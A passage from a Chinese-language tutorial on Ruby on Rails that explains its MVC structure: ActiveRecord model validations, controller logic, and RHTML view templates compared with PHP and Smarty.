如果您愿意，您可以添加 Ruby 代码来在应用程序模型中执行额外的验证，加强数据关联，或者触发其他操作。应用程序的 app/models/ 目录中的 Ruby 文件能够调用 ActiveRecord 的多种验证方法。不过，您也可以将模型代码留作一个存根，而只是依赖保存数据的 RDBMS 的约束。例如，我在这个示例中所开发的应用程序只包含这个骨架模型代码（至少在开始时是）： 清单 1. 骨架模型 app/models/contact.rb
控制器以其抽象形式执行应用程序的逻辑。也就是说，应用程序的 app/controllers/ 目录中的 Ruby 脚本能把模型数据导入为变量，保存回去，或对其进行修改和处理。不过，控制器不关心用户如何适当地显示或者输入数据。在通常的 MVC 模型中，这可以让用户能够以多种方式与同一控制器进行交互：本地 GUI， Web 界面，以及视力较弱的人使用的语音界面都可以与相同的控制器进行交互。
不过，Rails 不像那样非常通用；相反，它仅局限于在 Web 页中提供和收集数据。虽然如此，但是您可以修改那些 Web 页的布局 —— 颜色、字体、表格、样式表单，等等 —— 与控制器代码无关。
视图
Rails 视图是我们编写 Ruby 代码的地方。Rails 包含有一门用于 .rhtml 的非常好的模板语言，它将纯粹的 HTML 与嵌入的 Ruby 代码组合起来。 Rails 应用程序界面的最表层外观通常是由 CSS 样式表单控制的。.rhtml 格式是一种增强的 HTML。实际上，一个简单的 HTML 文件本身也是一个合法的 RHTML 模板，不过，不应该忽略 RHTML 为您提供的脚本控制。
RHTML 是真正的模板格式 —— 不仅是在 HTML 中嵌入代码的方式 —— 这是一种更为有效的方法。如果您熟悉 PHP，那么可以考虑 PHP 本身与 Smarty 模板之间的对照。也就是说，嵌入的脚本只是将代码与未被解释的 HTML 混合在一起；当需要向客户机输出某些内容时，代码部分仍要负责执行 print 语句。
与之不同的是，模板引擎向 HTML 添加了一组定制的标签，让您能够将条件、循环以及其他逻辑作为增强的 HTML 标记的一部分来表示。